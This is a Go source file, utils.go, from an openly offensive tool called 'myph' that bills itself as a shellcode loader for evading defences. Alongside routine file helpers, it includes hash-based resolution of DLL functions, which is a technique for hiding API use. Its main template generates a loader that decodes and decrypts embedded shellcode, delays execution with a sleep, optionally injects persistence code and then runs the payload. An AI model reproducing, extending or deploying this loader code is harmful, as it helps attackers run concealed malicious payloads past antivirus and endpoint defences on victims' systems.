myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
utils.go (3981B)
      1 package tools
      2 
      3 import (
      4 	"bytes"
      5 	"fmt"
      6 	"io"
      7 	"math/rand"
      8 	"os"
      9 
     10 	"github.com/Binject/debug/pe"
     11 	"github.com/cmepw/myph/internals"
     12 )
     13 
     14 func MoveFile(sourcePath, destPath string) error {
     15 	inputFile, err := os.Open(sourcePath)
     16 	if err != nil {
     17 		return fmt.Errorf("Couldn't open source file: %s", err)
     18 	}
     19 	outputFile, err := os.Create(destPath)
     20 	if err != nil {
     21 		inputFile.Close()
     22 		return fmt.Errorf("Couldn't open dest file: %s", err)
     23 	}
     24 	defer outputFile.Close()
     25 	_, err = io.Copy(outputFile, inputFile)
     26 	inputFile.Close()
     27 	if err != nil {
     28 		return fmt.Errorf("Writing to output file failed: %s", err)
     29 	}
     30 	// The copy was successful, so now delete the original file
     31 	err = os.Remove(sourcePath)
     32 	if err != nil {
     33 		return fmt.Errorf("Failed removing original file: %s", err)
     34 	}
     35 	return nil
     36 }
     37 
     38 func WriteToFile(outfile string, filname string, toWrite string) error {
     39 
     40 	full_path := fmt.Sprintf("%s/%s", outfile, filname)
     41 	file, err := os.OpenFile(full_path, os.O_TRUNC|os.O_WRONLY, 0644)
     42 	if err != nil {
     43 		return err
     44 	}
     45 
     46 	file.WriteString(toWrite)
     47 	file.Close()
     48 	return nil
     49 }
     50 
     51 func RandomString(n int) string {
     52 	var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
     53 	s := make([]rune, n)
     54 	for i := range s {
     55 		s[i] = letters[rand.Intn(len(letters))]
     56 	}
     57 	return string(s)
     58 }
     59 
     60 func ReadFile(filepath string) ([]byte, error) {
     61 	buf := bytes.NewBuffer(nil)
     62 	f, err := os.Open(filepath)
     63 	if err != nil {
     64 		return []byte{}, err
     65 	}
     66 
     67 	io.Copy(buf, f)
     68 	f.Close()
     69 
     70 	return buf.Bytes(), nil
     71 }
     72 
     73 func DirExists(dir string) (bool, error) {
     74 	_, err := os.Stat(dir)
     75 	if err == nil {
     76 		return true, nil
     77 	}
     78 
     79 	if os.IsNotExist(err) {
     80 		return false, nil
     81 	}
     82 	return false, err
     83 }
     84 
     85 func CreateTmpProjectRoot(path string, persist string) error {
     86 
     87 	fmt.Printf("[+] Initializing temporary build directory\n")
     88 
     89 	/*
     90 	   create a directory with the path name
     91 	   defined by the options
     92 	*/
     93 
     94 	exists, err := DirExists(path)
     95 	if err != nil {
     96 		return err
     97 	}
     98 
     99 	if exists {
    100 		fmt.Printf("[!] %s already exists...Removing\n", path)
    101 		os.RemoveAll(path)
    102 	}
    103 
    104 	err = os.MkdirAll(path, 0777)
    105 	if err != nil {
    106 		return err
    107 	}
    108 
    109 	var go_mod = []byte(`
    110 module whatever
    111 
    112 go 1.19
    113 
    114     `)
    115 
    116 	gomod_path := fmt.Sprintf("%s/go.mod", path)
    117 	fo, err := os.Create(gomod_path)
    118 	fo.Write(go_mod)
    119 
    120 	maingo_path := fmt.Sprintf("%s/main.go", path)
    121 	_, _ = os.Create(maingo_path)
    122 
    123 	execgo_path := fmt.Sprintf("%s/exec.go", path)
    124 	_, _ = os.Create(execgo_path)
    125 
    126 	encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
    127 	_, _ = os.Create(encryptgo_path)
    128 
    129 	if persist != "" {
    130 		encryptgo_path := fmt.Sprintf("%s/persist.go", path)
    131 		_, _ = os.Create(encryptgo_path)
    132 	}
    133 
    134 	println("\n")
    135 	return nil
    136 }
    137 
    138 func FindAndExecute(
    139 	hashing_algorithm func(string) string,
    140 	functionName string,
    141 	dllName string,
    142 ) error {
    143 
    144 	hashedName := hashing_algorithm(functionName)
    145 	dll, err := pe.Open(dllName)
    146 	if err != nil {
    147 		return err
    148 	}
    149 
    150 	ptr, err := internals.LoadFunctionFromHash(hashing_algorithm, hashedName, dll)
    151 	if err != nil {
    152 		return err
    153 	}
    154 
    155 	fmt.Print(ptr)
    156 	return nil
    157 }
    158 
    159 func GetMainTemplate(
    160 	encoding string,
    161 	key string,
    162 	sc string,
    163 	sleepTime uint,
    164 	persistData string,
    165 	shouldExport bool,
    166 ) string {
    167 
    168 	/* if hex encoding is used, it does not require to go through StdEncoding */
    169 	encCall := "enc.StdEncoding"
    170 	if encoding == "hex" {
    171 		encCall = "enc"
    172 	}
    173 	exportImpStr := `import "C"`
    174 	exportexpStr := `
    175 func main() {}
    176 //export entry
    177 func entry() {`
    178 	if !shouldExport {
    179 		exportImpStr = ""
    180 		exportexpStr = "func main() {"
    181 	}
    182 	return fmt.Sprintf(`
    183 package main
    184 
    185 import (
    186     "time"
    187     "os"
    188     enc "encoding/%s"
    189 )
    190 
    191 %s
    192 var Key = %s
    193 var Code = %s
    194 %s
    195 
    196     decodedSc, _ := %s.DecodeString(Code)
    197     decodedKey, _ := %s.DecodeString(Key)
    198 
    199     decrypted, err := Decrypt(decodedSc, decodedKey)
    200     if err != nil {
    201         os.Exit(1)
    202     }
    203 
    204     time.Sleep(%d * time.Second)
    205 
    206 	  %s
    207     ExecuteOrderSixtySix(decrypted)
    208 }
    209     `, encoding, exportImpStr, key, sc, exportexpStr, encCall, encCall, sleepTime, persistData)
    210 }